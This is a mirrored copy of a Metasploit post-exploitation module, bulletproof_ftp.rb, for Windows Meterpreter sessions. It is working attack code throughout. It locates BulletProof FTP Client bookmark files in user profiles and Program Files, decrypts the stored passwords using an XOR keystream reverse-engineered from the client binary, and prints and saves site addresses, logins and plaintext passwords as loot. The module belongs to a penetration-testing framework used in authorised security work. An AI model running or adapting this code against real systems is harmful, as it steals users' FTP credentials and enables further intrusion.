Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

bulletproof_ftp.rb 8.7KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'rex'
  7. require 'msf/core/auxiliary/report'
  8. class MetasploitModule < Msf::Post
  9. include Msf::Auxiliary::Report
  10. include Msf::Post::File
  11. include Msf::Post::Windows::UserProfiles
  12. include Msf::Post::Windows::Registry
  13. def initialize(info={})
  14. super(update_info(info,
  15. 'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',
  16. 'Description' => %q{
  17. This module extracts information from BulletProof FTP Bookmarks files and store
  18. retrieved credentials in the database.
  19. },
  20. 'License' => MSF_LICENSE,
  21. 'Author' => [ 'juan vazquez'],
  22. 'Platform' => [ 'win' ],
  23. 'SessionTypes' => [ 'meterpreter' ]
  24. ))
  25. end
  26. class BookmarksParser
  27. # Array of entries found after parsing a Bookmarks File
  28. attr_accessor :entries
  29. def initialize(contents)
  30. @xor_key = nil
  31. @contents_bookmark = contents
  32. @entries = []
  33. end
  34. def parse_bookmarks
  35. if not parse_header
  36. return
  37. end
  38. while @contents_bookmark.length > 0
  39. parse_entry
  40. @contents_bookmark.slice!(0, 25) # 25 null bytes between entries
  41. end
  42. end
  43. private
  44. def low_dword(value)
  45. return Rex::Text.pack_int64le(value).unpack("VV")[0]
  46. end
  47. def high_dword(value)
  48. return Rex::Text.pack_int64le(value).unpack("VV")[1]
  49. end
  50. def low_byte(value)
  51. return [value].pack("V").unpack("C*")[0]
  52. end
  53. def generate_xor_key
  54. # Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:
  55. #.text:007B13C1 mov eax, 100h
  56. # ... later
  57. #.text:0040381F imul edx, dword_7EF008[ebx], 8088405h
  58. #.text:00403829 inc edx
  59. #.text:0040382A mov dword_7EF008[ebx], edx
  60. #.text:00403830 mul edx
  61. temp = @xor_key * 0x8088405
  62. temp = low_dword(temp)
  63. temp = temp + 1
  64. @xor_key = temp
  65. result = temp * 0x100
  66. result = high_dword(result)
  67. result = low_byte(result)
  68. return result
  69. end
  70. def decrypt(encrypted)
  71. length = encrypted.unpack("C")[0]
  72. return "" if length.nil?
  73. @xor_key = length
  74. encrypted = encrypted[1..length]
  75. return "" if encrypted.length != length
  76. decrypted = ""
  77. encrypted.unpack("C*").each { |byte|
  78. key = generate_xor_key
  79. decrypted << [byte ^ key].pack("C")
  80. }
  81. return decrypted
  82. end
  83. def parse_object
  84. object_length = @contents_bookmark[0,1].unpack("C")[0]
  85. object = @contents_bookmark[0, object_length + 1 ]
  86. @contents_bookmark.slice!(0, object_length+1)
  87. content = decrypt(object)
  88. return content
  89. end
  90. def parse_entry
  91. site_name = parse_object
  92. site_address = parse_object
  93. login = parse_object
  94. remote_dir = parse_object
  95. local_dir = parse_object
  96. port = parse_object
  97. password = parse_object
  98. @entries << {
  99. :site_name => site_name,
  100. :site_address => site_address,
  101. :login => login,
  102. :remote_dir => remote_dir,
  103. :local_dir => local_dir,
  104. :port => port,
  105. :password => password
  106. }
  107. end
  108. def parse_header
  109. signature = parse_object
  110. if not signature.eql?("BPSitelist")
  111. return false # Error!
  112. end
  113. unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"
  114. return false unless unknown == "\x01\x00\x00\x00"
  115. return true
  116. end
  117. end
  118. def check_installation
  119. bullet_reg = "HKCU\\SOFTWARE\\BulletProof Software"
  120. bullet_reg_ver = registry_enumkeys("#{bullet_reg}")
  121. return false if bullet_reg_ver.nil?
  122. bullet_reg_ver.each { |key|
  123. if key =~ /BulletProof FTP Client/
  124. return true
  125. end
  126. }
  127. return false
  128. end
  129. def get_bookmarks(path)
  130. bookmarks = []
  131. if not directory?(path)
  132. return bookmarks
  133. end
  134. session.fs.dir.foreach(path) do |entry|
  135. if directory?("#{path}\\#{entry}") and entry != "." and entry != ".."
  136. bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))
  137. elsif entry =~ /bpftp.dat/ and file?("#{path}\\#{entry}")
  138. vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")
  139. bookmarks << "#{path}\\#{entry}"
  140. end
  141. end
  142. return bookmarks
  143. end
  144. def check_bulletproof(user_dir)
  145. session.fs.dir.foreach(user_dir) do |directory|
  146. if directory =~ /BulletProof Software/
  147. vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
  148. return "#{user_dir}\\#{directory}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
  149. end
  150. end
  151. return nil
  152. end
  153. def report_findings(entries)
  154. entries.each{ |entry|
  155. @credentials << [
  156. entry[:site_name],
  157. entry[:site_address],
  158. entry[:port],
  159. entry[:login],
  160. entry[:password],
  161. entry[:remote_dir],
  162. entry[:local_dir]
  163. ]
  164. service_data = {
  165. address: Rex::Socket.getaddress(entry[:site_address]),
  166. port: entry[:port],
  167. protocol: "tcp",
  168. service_name: "ftp",
  169. workspace_id: myworkspace_id
  170. }
  171. credential_data = {
  172. origin_type: :session,
  173. session_id: session_db_id,
  174. post_reference_name: self.refname,
  175. username: entry[:login],
  176. private_data: entry[:password],
  177. private_type: :password
  178. }
  179. credential_core = create_credential(credential_data.merge(service_data))
  180. login_data = {
  181. core: credential_core,
  182. access_level: "User",
  183. status: Metasploit::Model::Login::Status::UNTRIED
  184. }
  185. create_credential_login(login_data.merge(service_data))
  186. }
  187. end
  188. def run
  189. print_status("Checking if BulletProof FTP Client is installed...")
  190. if not check_installation
  191. print_error("BulletProof FTP Client isn't installed")
  192. return
  193. end
  194. print_status("Searching BulletProof FTP Client Data directories...")
  195. # BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files
  196. profiles = grab_user_profiles()
  197. bullet_paths = []
  198. profiles.each do |user|
  199. next if user['LocalAppData'] == nil
  200. bulletproof_dir = check_bulletproof(user['LocalAppData'])
  201. bullet_paths << bulletproof_dir if bulletproof_dir
  202. end
  203. print_status("Searching BulletProof FTP Client installation directory...")
  204. # BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
  205. progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
  206. progfilesx86 = progfiles_env['ProgramFiles(X86)']
  207. if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/
  208. program_files = progfilesx86 # x64
  209. else
  210. program_files = progfiles_env['ProgramFiles'] # x86
  211. end
  212. session.fs.dir.foreach(program_files) do |dir|
  213. if dir =~ /BulletProof FTP Client/
  214. vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
  215. bullet_paths << "#{program_files}\\#{dir}"
  216. end
  217. end
  218. if bullet_paths.empty?
  219. print_error("BulletProof FTP Client directories not found.")
  220. return
  221. end
  222. print_status("Searching for BulletProof FTP Client Bookmarks files...")
  223. bookmarks = []
  224. bullet_paths.each { |path|
  225. bookmarks.concat(get_bookmarks(path))
  226. }
  227. if bookmarks.empty?
  228. print_error("BulletProof FTP Client Bookmarks files not found.")
  229. return
  230. end
  231. print_status("Searching for connections data on BulletProof FTP Client Bookmarks files...")
  232. entries = []
  233. bookmarks.each { |bookmark|
  234. p = BookmarksParser.new(read_file(bookmark))
  235. p.parse_bookmarks
  236. if p.entries.length > 0
  237. entries.concat(p.entries)
  238. else
  239. vprint_error("Entries not found on #{bookmark}")
  240. end
  241. }
  242. if entries.empty?
  243. print_error("BulletProof FTP Client Bookmarks not found.")
  244. return
  245. end
  246. # Report / Show findings
  247. @credentials = Rex::Text::Table.new(
  248. 'Header' => "BulletProof FTP Client Bookmarks",
  249. 'Indent' => 1,
  250. 'Columns' =>
  251. [
  252. "Site Name",
  253. "Site Address",
  254. "Port",
  255. "Login",
  256. "Password",
  257. "Remote Dir",
  258. "Local Dir"
  259. ])
  260. report_findings(entries)
  261. results = @credentials.to_s
  262. print_line("\n" + results + "\n")
  263. if not @credentials.rows.empty?
  264. p = store_loot(
  265. 'bulletproof.creds',
  266. 'text/plain',
  267. session,
  268. @credentials.to_csv,
  269. 'bulletproof.creds.csv',
  270. 'BulletProof Credentials'
  271. )
  272. print_status("Data stored in: #{p.to_s}")
  273. end
  274. end
  275. end